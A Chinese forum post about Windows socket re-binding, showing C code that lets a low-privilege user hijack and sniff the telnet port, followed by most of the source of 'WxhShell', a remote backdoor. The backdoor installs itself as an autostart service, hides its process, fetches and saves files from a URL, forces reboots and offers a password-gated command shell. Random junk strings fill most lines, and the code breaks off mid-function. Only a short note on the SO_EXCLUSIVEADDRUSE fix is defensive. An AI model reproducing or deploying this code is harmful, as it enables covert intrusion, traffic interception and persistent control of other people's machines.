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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'W yWO^Bdk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a @d 15CN  
RjVmHhX  
  saddr.sin_family = AF_INET; XmwAYf  
7CvBE;i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L+(ng  
2E[7RBFY+\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WmN( (  
TlRc8r|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :dAd5v2f  
`fTM/"  
  这意味着什么?意味着可以进行如下的攻击: r$}C<a[U  
?%}!_F`h%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "\KBF  
$|.8@ nj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~~ rR< re  
>3Q|k{97  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #mA(x@:*  
IT&,?u%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $2L6:&.P,  
Vm>EF~r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )AQ^PBwp  
oSC'b%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _gI1rXI  
fzQR0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X3X_=qzc  
yi>A ogQ,  
  #include gJ'pwSA  
  #include 5$D"uAp<V  
  #include 4n@lrcq(  
  #include    -6HwG fU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G~YZ(+V%~  
  int main() Z,A$h>Z  
  { vjlN@ "  
  WORD wVersionRequested; O'mcN*  
  DWORD ret; ]myRYb5Z  
  WSADATA wsaData; @we1#Vz.  
  BOOL val; !}#> ky!t  
  SOCKADDR_IN saddr; '#V@a  
  SOCKADDR_IN scaddr; MMs~f*  
  int err; JfIXv  
  SOCKET s; 7|DG1p9C  
  SOCKET sc; H.@$#D  
  int caddsize; u;-&r'J>  
  HANDLE mt; Pc`d]*BYi  
  DWORD tid;   T8x)i\<  
  wVersionRequested = MAKEWORD( 2, 2 ); L(VFzPkY%  
  err = WSAStartup( wVersionRequested, &wsaData ); >+P}S@  
  if ( err != 0 ) { ~Ld5WEp k3  
  printf("error!WSAStartup failed!\n"); 49~d6fH  
  return -1; e~N&?^M  
  } m9DFnk<D  
  saddr.sin_family = AF_INET; _SAM8!q4,  
   >8e)V ;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h*k V@Dc  
%8FfP5#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wtY)(k a  
  saddr.sin_port = htons(23); $^ee~v;m4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z8 #nu  
  { &q-&%~E@  
  printf("error!socket failed!\n"); Lt't   
  return -1; rx1u*L  
  } EAGvP&~P  
  val = TRUE; wUv?;Y$C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QnWE;zN[7A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t0m;tb bg  
  { u 2 s  
  printf("error!setsockopt failed!\n"); .| 4P :r  
  return -1; ws'e  
  } gyw=1q+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *[Z`0AgP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .~f )4'T 9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `Nx@MPo  
MJXnAIG?2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yE8D^M|g  
  { )QE6X67i  
  ret=GetLastError(); K%v:giN$l`  
  printf("error!bind failed!\n"); GY%9V5GB  
  return -1; 4X+xh|R:U  
  } }?s-$@$R  
  listen(s,2); L 4j#0I]lq  
  while(1) *7xcwj eP  
  { 5whW>T  
  caddsize = sizeof(scaddr); |>;PV4])(  
  //接受连接请求 7;EDU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ieZ$@3#&z  
  if(sc!=INVALID_SOCKET) {rc3`<%  
  { )p\`H;7*V4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ywwA,9~  
  if(mt==NULL) "ko*-FrQ  
  { \l GD8@,x  
  printf("Thread Creat Failed!\n"); N%dY.Fk  
  break; ET}Z>vU}+  
  } {-4+=7Sg1  
  } YSP\+ZZ  
  CloseHandle(mt); ZmsYRk~@-  
  } b Hr^_ogN  
  closesocket(s); g04^M (  
  WSACleanup(); QX=TuyO  
  return 0; )'+[,z ;s  
  }   ojM'8z 0Hn  
  DWORD WINAPI ClientThread(LPVOID lpParam) "\o#YC  
  { sX1DbEjj[o  
  SOCKET ss = (SOCKET)lpParam; $JY \q2  
  SOCKET sc; XoKgs,y4  
  unsigned char buf[4096]; cGlN*GJ*H  
  SOCKADDR_IN saddr; ;M~,S^U  
  long num; XDPR$u8hM  
  DWORD val; n41#  
  DWORD ret; %~Yo{4mHs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Lz 1.+:Ag  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jEBn"]\D  
  saddr.sin_family = AF_INET; `%Ih'(ne  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NY.Cr.}  
  saddr.sin_port = htons(23); =8]`-(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~0PzRS^o  
  { lh;fqn`  
  printf("error!socket failed!\n"); U"Gx Xrl  
  return -1; 1/-3m Po  
  } BM!ZdoKrKt  
  val = 100; -}6ew@GE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'yiv.<4  
  { :rb;*nY!  
  ret = GetLastError(); rj=as>6B  
  return -1; {!2K-7;  
  } 0nt@}\j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q1rj!7  
  { $FPq8$V  
  ret = GetLastError(); 2K:A4)jZ  
  return -1; }d. X2?  
  } &PC6C<<f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =;Q/bD->  
  { ](JrEg$K  
  printf("error!socket connect failed!\n"); T,!EL +o4  
  closesocket(sc); R'gd/.[e  
  closesocket(ss); hV@ N -u^  
  return -1; F3bTFFt  
  } B{/og*xd*1  
  while(1) UwUHB~<oE  
  { ,V1"Typ#<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 63E6nW M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ek<Qz5)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  xL15uWk-  
  num = recv(ss,buf,4096,0); yEWm.;&3=  
  if(num>0) uw3vYYFX  
  send(sc,buf,num,0); gXI-{R7Me  
  else if(num==0) Mxl;Im]!`.  
  break; /l<(i+0  
  num = recv(sc,buf,4096,0); 6xDk3   
  if(num>0) n3p@duC4  
  send(ss,buf,num,0); a#]V|1*O  
  else if(num==0) uB)q1QQsqp  
  break; O|t>.<T?  
  } Pg}QRCB@  
  closesocket(ss); T U6s~  
  closesocket(sc); 3(oMASf  
  return 0 ; QD7KE6KP'  
  } xn`)I>v  
-*7i:mg  
fnq 3ic"V  
========================================================== g**!'T4&o  
/xUF@%rT  
下边附上一个代码,,WXhSHELL aV$kxzEc  
i+14!LlI  
========================================================== OB.rETg  
~Eg]Auk7  
#include "stdafx.h" dU3A:uS^  
'9!_:3[d\]  
#include <stdio.h> \:+\H0Bz  
#include <string.h> :fj>JF\[  
#include <windows.h> f" Iui  
#include <winsock2.h> [yMSCCswW  
#include <winsvc.h> *IOrv)  
#include <urlmon.h> <}lah%4F  
kSV(T'#x  
#pragma comment (lib, "Ws2_32.lib") }K?b2 6`  
#pragma comment (lib, "urlmon.lib") :#g.%&  
QKjn/%l"@  
#define MAX_USER   100 // 最大客户端连接数 ZP~H!  
#define BUF_SOCK   200 // sock buffer 2Vti|@JYp  
#define KEY_BUFF   255 // 输入 buffer E#_/#J]UQn  
)(,O~w  
#define REBOOT     0   // 重启 U@q5`4-!8  
#define SHUTDOWN   1   // 关机 +d#8/S*  
OH06{I>;  
#define DEF_PORT   5000 // 监听端口 ]){ZL  
QcrhgR  
#define REG_LEN     16   // 注册表键长度 GZi`jp  
#define SVC_LEN     80   // NT服务名长度 oh-EEo4,  
-r,v3n  
// 从dll定义API B:X%k/{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VLV]e_D6s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +c/!R|h=S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4L,wBce;,t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Y`Z3LiR$  
<cOjtq,0  
// wxhshell配置信息 hrnE5=iY  
struct WSCFG { q6pHL  
  int ws_port;         // 监听端口 3Iqvc v  
  char ws_passstr[REG_LEN]; // 口令 K&&T:'=/  
  int ws_autoins;       // 安装标记, 1=yes 0=no %~:\f#6  
  char ws_regname[REG_LEN]; // 注册表键名 j5DCc,s  
  char ws_svcname[REG_LEN]; // 服务名 :xHKbWz6j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Du5Z9AM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eyh}O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l7uTk5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JkN*hm?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )PvnB=wy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J-/w{T8:  
pq r_{  
}; /fUdb=!Z  
`Kg!aN  
// default Wxhshell configuration l$1?@l$j  
struct WSCFG wscfg={DEF_PORT, -HGRrWS  
    "xuhuanlingzhe", SW%}S*h  
    1, )C"ixZ>2xQ  
    "Wxhshell", sCw>J#@2>  
    "Wxhshell", 7k,BE2]"  
            "WxhShell Service", Wu* 4r0  
    "Wrsky Windows CmdShell Service", ^[.}DNR95(  
    "Please Input Your Password: ", Mi#i 3y(  
  1, Csy$1;"A  
  "http://www.wrsky.com/wxhshell.exe", YvN]7tcb  
  "Wxhshell.exe" q#AIN`H  
    }; 3O; H&  
)NhC+=N  
// 消息定义模块 ML'y`S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r'yNc&~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7b08Lo7b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UapU:>!"`  
char *msg_ws_ext="\n\rExit."; 5?H wM[`  
char *msg_ws_end="\n\rQuit."; J*b Je"8  
char *msg_ws_boot="\n\rReboot..."; _BA; H+M  
char *msg_ws_poff="\n\rShutdown..."; q 8sfG;)  
char *msg_ws_down="\n\rSave to ";  :QP1!  
l0^cdl-  
char *msg_ws_err="\n\rErr!"; Z8Ig,  
char *msg_ws_ok="\n\rOK!"; qD*y60~]zz  
(/<Nh7C1c  
char ExeFile[MAX_PATH]; o}G`t Bz  
int nUser = 0; sgi5dQ  
HANDLE handles[MAX_USER]; , d $"`W2  
int OsIsNt; d'Bxi"K  
aL[6}U0(}  
SERVICE_STATUS       serviceStatus; w!H(zjv&(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; czIAx1R9  
\~A qA!)6  
// 函数声明 \8$~ i  
int Install(void); "G%</G8M  
int Uninstall(void); 2#:p:R8I>  
int DownloadFile(char *sURL, SOCKET wsh); .B<Bqr@?8  
int Boot(int flag); 7^#f)Vp  
void HideProc(void); 4@{?4k-cq  
int GetOsVer(void); O=+$X Pa|  
int Wxhshell(SOCKET wsl); jr0j0$BF  
void TalkWithClient(void *cs); >Y8\f:KQ  
int CmdShell(SOCKET sock); @ :Zk,   
int StartFromService(void); [5~mP`He  
int StartWxhshell(LPSTR lpCmdLine); h_#=f(.'j  
5\z<xpJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F4G81^H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p,8~)ic_  
TyIjDG6tM  
// 数据结构和表定义 F^bY]\-5  
SERVICE_TABLE_ENTRY DispatchTable[] = z mip  
{ g|]HS4y  
{wscfg.ws_svcname, NTServiceMain}, ciODTq?  
{NULL, NULL} pml33^*<U  
}; >-N(o2j3  
Bz_'>6w  
// 自我安装 S j~SG  
int Install(void) =W3 K6w  
{ gm)Uyr$  
  char svExeFile[MAX_PATH]; -JgNujt#9  
  HKEY key; r~)fAb?  
  strcpy(svExeFile,ExeFile); :K^J bQ  
JXJ+lZmsz  
// 如果是win9x系统,修改注册表设为自启动 h97#(_wV>  
if(!OsIsNt) { 70 7( LG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tp;W4]'a*:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oh$:qu7o0&  
  RegCloseKey(key); ]w6Q?%'9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &;-zy%#l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); To>,8E+GAb  
  RegCloseKey(key); a,vS{434J  
  return 0; XJe=+_K9  
    } ;WSW&2  
  } ~I5hV}ZT  
} vO1; ;  
else { _aPAn|.  
 .fl r  
// 如果是NT以上系统,安装为系统服务 swF{}S"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l@B9}Icq  
if (schSCManager!=0) WSHPh hM  
{ !} TsFa  
  SC_HANDLE schService = CreateService |2q3spd  
  ( [oTe8^@[  
  schSCManager, \nZB@u;S  
  wscfg.ws_svcname, Bx#i?=*W  
  wscfg.ws_svcdisp, hU#e\L 7  
  SERVICE_ALL_ACCESS, \A[l(aB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gY~r{  
  SERVICE_AUTO_START, m]2xOR_  
  SERVICE_ERROR_NORMAL, ,_3hbT8Q  
  svExeFile, O6;"cUv  
  NULL, Tsg9,/vXM  
  NULL, (P)G|2=  
  NULL, W91yj:  
  NULL, W r/-{Wt  
  NULL yU v YV-7  
  ); Q6Gw!!Z5EA  
  if (schService!=0) 1Nt &+o  
  { G|g^yaq>  
  CloseServiceHandle(schService); {]^Ixm-,f  
  CloseServiceHandle(schSCManager); bT.q@oU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +& r!%j7  
  strcat(svExeFile,wscfg.ws_svcname); X .t4;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C{}_Rb'x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MoIh =rw  
  RegCloseKey(key); >7>I1  
  return 0; 6TW7E }a.  
    } +Y%6y]8  
  } ]b4IO4T  
  CloseServiceHandle(schSCManager); lgOAc,  
} GI%&.Vd  
} I/f\m}}ba  
}g}Eh>U  
return 1; <sH}X$/  
} rpT.n-H>%A  
KrE 'M  
// 自我卸载 USBQEt  
int Uninstall(void) ]O x5F@  
{ &~,4$& _  
  HKEY key; m^_=^z+  
\/NF??k,jk  
if(!OsIsNt) { ":Dm/g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lzq/^&sc(  
  RegDeleteValue(key,wscfg.ws_regname); [oLV,O|s|j  
  RegCloseKey(key); Y9+_MxC"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x|6]+?l@6  
  RegDeleteValue(key,wscfg.ws_regname); @5%&wC  
  RegCloseKey(key); YT\@fgBt  
  return 0; .hl_zc#  
  } ?E([Nc0T  
} @Wu-&Lb  
} & LE5' .s  
else { j_Szw w-  
K;?D^n.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ?%,NOX  
if (schSCManager!=0) [xMa^A>p  
{ <)VgGjZ-H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6Z2,:j;  
  if (schService!=0) ZitM<Qi&y  
  { EApKN@<"  
  if(DeleteService(schService)!=0) { @+u>rS|IB  
  CloseServiceHandle(schService); g52a vG  
  CloseServiceHandle(schSCManager); "s+4!,k  
  return 0; @R[{  
  } 4<efj  
  CloseServiceHandle(schService); a{5SOe;;  
  } isQ(O  
  CloseServiceHandle(schSCManager); / ;]5X  
} :KLXrr  
} n>M`wF>  
}Z!D?(  
return 1; j|eA*UE  
} 8t-GsjHb  
7},A. q  
// 从指定url下载文件 Tg\bpLk0=  
int DownloadFile(char *sURL, SOCKET wsh) FfoOJzf~o  
{ V>Wk\'h  
  HRESULT hr; LFp "Waiv  
char seps[]= "/"; aB9!}3@  
char *token; * QgKo$IF  
char *file; }Mc b\+[  
char myURL[MAX_PATH]; IPiV_c-l  
char myFILE[MAX_PATH]; }lJ;|kx$  
$XBK_ 5  
strcpy(myURL,sURL); zkQ[<  
  token=strtok(myURL,seps); qNp1<QO0  
  while(token!=NULL) *H>rvE.K?  
  { \8`?ir q"  
    file=token; ^J!q>KJs  
  token=strtok(NULL,seps); a?c&#Jl  
  } K =g</@L6R  
}f}.>B0#  
GetCurrentDirectory(MAX_PATH,myFILE); A'WR!*Yt  
strcat(myFILE, "\\"); 7e/+C{3v  
strcat(myFILE, file); sDY~jP[Oa  
  send(wsh,myFILE,strlen(myFILE),0); G0cG%sIl  
send(wsh,"...",3,0); \ mqx '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  {_rfhz  
  if(hr==S_OK) F L0uY0K  
return 0; M`xiC  
else Y +gY"  
return 1; jG5HW*>k0  
39pG-otJ  
} VJh8`PVX  
Z:; }  
// 系统电源模块 RaZ>.5 D  
int Boot(int flag) e|~MJu+1  
{ k4TWfl^}9  
  HANDLE hToken; DL]tg [w{  
  TOKEN_PRIVILEGES tkp; '`];=QY9pg  
r-2k<#^r  
  if(OsIsNt) { x-^6U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8xpplo8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); : Mf"   
    tkp.PrivilegeCount = 1; )8Va%{j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; azcPeAe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lOIk$"Ne  
if(flag==REBOOT) { }\pI`;*O|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ON?Y Df  
  return 0; hbjAxioA  
} {4"V)9o-1>  
else { =;}W)V|X)S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (!j#u)O  
  return 0; _n&Nw7d2 M  
} 8fR(y~_gF  
  } +)]YvZ6%[,  
  else { 0p.bmQSH  
if(flag==REBOOT) { n ]ikc|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c:[k+_Zr  
  return 0; Bd>~F7VWs  
} h}bfZL  
else { 1uF$$E6[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \& JZ >h  
  return 0; R>' %}|v/  
} BD g]M/{  
} 1MelHW  
_z5/&tm_H  
return 1; Io6/Fv>!  
} GW2\YU^{  
\l+v,ELX=  
// win9x进程隐藏模块 ^xo<$zn  
void HideProc(void) bbm\y] !t  
{ GAGS-G#  
&H(yLd[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !^J;S%MB:K  
  if ( hKernel != NULL ) f~IJ4T2#N  
  { -(VJ,)8t2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); > mGH4{H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j;x()iZ<  
    FreeLibrary(hKernel); OATdmHW  
  } gGqrFh\  
K!|eN_1A  
return; XxqGsGx4  
} De$AJl  
z*@eQauA  
// 获取操作系统版本 Dc9uq5l  
int GetOsVer(void) q*!R4yE;C  
{ 8-$t7bV5  
  OSVERSIONINFO winfo; UBvp3 2p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5'%I4@Qn+  
  GetVersionEx(&winfo); 0.GFg${v`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g` rr3jP  
  return 1; h$S#fY8   
  else <O#&D|EMd|  
  return 0; oqrx7 +0{  
} 7*:zN  
3i^X9[.  
// 客户端句柄模块  Spm 0`  
int Wxhshell(SOCKET wsl) w,{h9f  
{ blc?[ [,!  
  SOCKET wsh; {UNH?2  
  struct sockaddr_in client; tr<~:&H4T  
  DWORD myID; l1KMEGmG  
9#8vPjXW}.  
  while(nUser<MAX_USER) Nc[@QC{  
{ 72HA.!ry  
  int nSize=sizeof(client); E^8|xT'h6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *P mZqe  
  if(wsh==INVALID_SOCKET) return 1; ^F^g(|(K  
F)3+IuY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tBo\R?YRs  
if(handles[nUser]==0) y^2#;0W  
  closesocket(wsh); E@}F^0c  
else *V>?m6y/  
  nUser++;  ?kjQ_K  
  } !gh8 Qs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >%/x~UFc5  
Q%e<0t7  
  return 0; zJQh~)  
} 2mLZ4 r>WE  
|}zWH=6  
// 关闭 socket 5F kdGF  
void CloseIt(SOCKET wsh) qxZIH  
{ 0U42QEG2  
closesocket(wsh); Y6{^cZ!=  
nUser--; /wD f,Hduz  
ExitThread(0); 4uF.kz-cg  
} _^ hg7&dF  
=VC18yA  
// 客户端请求句柄 fA=Z):w  
void TalkWithClient(void *cs) I0XJ& P%  
{ ~aC ?M&  
J8i;E 4R  
  SOCKET wsh=(SOCKET)cs; pcMzLMG<  
  char pwd[SVC_LEN]; Ft5A(P >  
  char cmd[KEY_BUFF]; d/_D|ivZ=  
char chr[1]; =rKJJa N  
int i,j; ybaY+![*  
%H{pU:[5*  
  while (nUser < MAX_USER) { *g5bdQ:Av~  
t]K20(FSN  
if(wscfg.ws_passstr) { , Ckcc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]4aPn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WD5J2EePT  
  //ZeroMemory(pwd,KEY_BUFF); 5 -i,Tx&:  
      i=0; r]9-~1T  
  while(i<SVC_LEN) { ? AfThJc  
Y?^liI`#  
  // 设置超时 uFr12ZFgK  
  fd_set FdRead; aoy Be|H~=  
  struct timeval TimeOut; ]V"P &; m  
  FD_ZERO(&FdRead); B=A!hXNa  
  FD_SET(wsh,&FdRead); x`E<]z*w}  
  TimeOut.tv_sec=8; I`_2Q:r  
  TimeOut.tv_usec=0; - 2)k!5X=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q4XlYgIV2A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rLTBBvV  
BU -;P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yxq!7J  
  pwd=chr[0]; N~/ 'EaO  
  if(chr[0]==0xd || chr[0]==0xa) { 8Lgt  
  pwd=0; bjVk9XvH6  
  break; ~'M<S=W  
  } ("U<@~  
  i++; [,Ehu<mEK  
    } s|%R  
suEK;Bk9  
  // 如果是非法用户,关闭 socket ,Zmjw@ w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h$5[04.Q  
} n/ KO{:  
p]L]=-(qI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E2DfG^sGV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  l"ms:v  
fd[N]I3  
while(1) { 9#9 UzKX#  
Pd7\Q]of  
  ZeroMemory(cmd,KEY_BUFF); ^ ]9K>}  
4iAF<|6s  
      // 自动支持客户端 telnet标准   !Cgj >=  
  j=0; [9 MH"\  
  while(j<KEY_BUFF) { t:2DB)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `D;*.zrA  
  cmd[j]=chr[0]; U:8[%a  
  if(chr[0]==0xa || chr[0]==0xd) { }Xj25` x  
  cmd[j]=0; L-+g`  
  break; a&>NuMDI  
  } s4bV0k  
  j++; ??F* Z" x  
    } cWAw-E5  
)$]lf }  
  // 下载文件 ,l~<|\4,wv  
  if(strstr(cmd,"http://")) { X&9: ^$m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ",,#q  
  if(DownloadFile(cmd,wsh)) CH6 m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j n^X{R\  
  else u"h/ERCa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~5,^CTAM  
  } X +!+&RAN*  
  else { O cL7] b0  
TAXsL&Tz>  
    switch(cmd[0]) { 1Ms]\<^j  
  IV,4BQ$  
  // 帮助 , ;,B7g  
  case '?': { %)j&/QdzF&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LO=U?`)q  
    break; BpIyw  
  } =Pv_,%  
  // 安装 2j+w5KvU  
  case 'i': { %mC@}  
    if(Install()) ?I=1T.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (fpz",[  
    else (H_dZL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Ym):pc  
    break; iTHwH{!  
    } vK!`#W`X  
  // 卸载 *?<N3Rr*  
  case 'r': { rxyv+@~Nc  
    if(Uninstall()) [oh06_rB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * BM|luYL  
    else !R8%C!=a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |O(>{GH  
    break; :9QU\{2  
    } EL~$7 J  
  // 显示 wxhshell 所在路径 $0[T<]{/?  
  case 'p': { .\caRb[  
    char svExeFile[MAX_PATH]; OD)X7PU  
    strcpy(svExeFile,"\n\r"); ox&5} &\  
      strcat(svExeFile,ExeFile); W'4/cO  
        send(wsh,svExeFile,strlen(svExeFile),0); ]q"&V\b  
    break; 4K^cj2 X  
    } {]>c3=~FQb  
  // 重启 :$D*ab^^P  
  case 'b': { ^ 9+ Qxv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #}#m\=0  
    if(Boot(REBOOT)) O1v)*&NAI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /MtmO$ .  
    else { \=0;EI-j  
    closesocket(wsh); CtY-Gs  
    ExitThread(0); O=A R`r#u  
    } R%.`h  
    break; p -$C*0{  
    } d.+*o  
  // 关机 cH&)Iz`f  
  case 'd': { 1"y !wsM%  
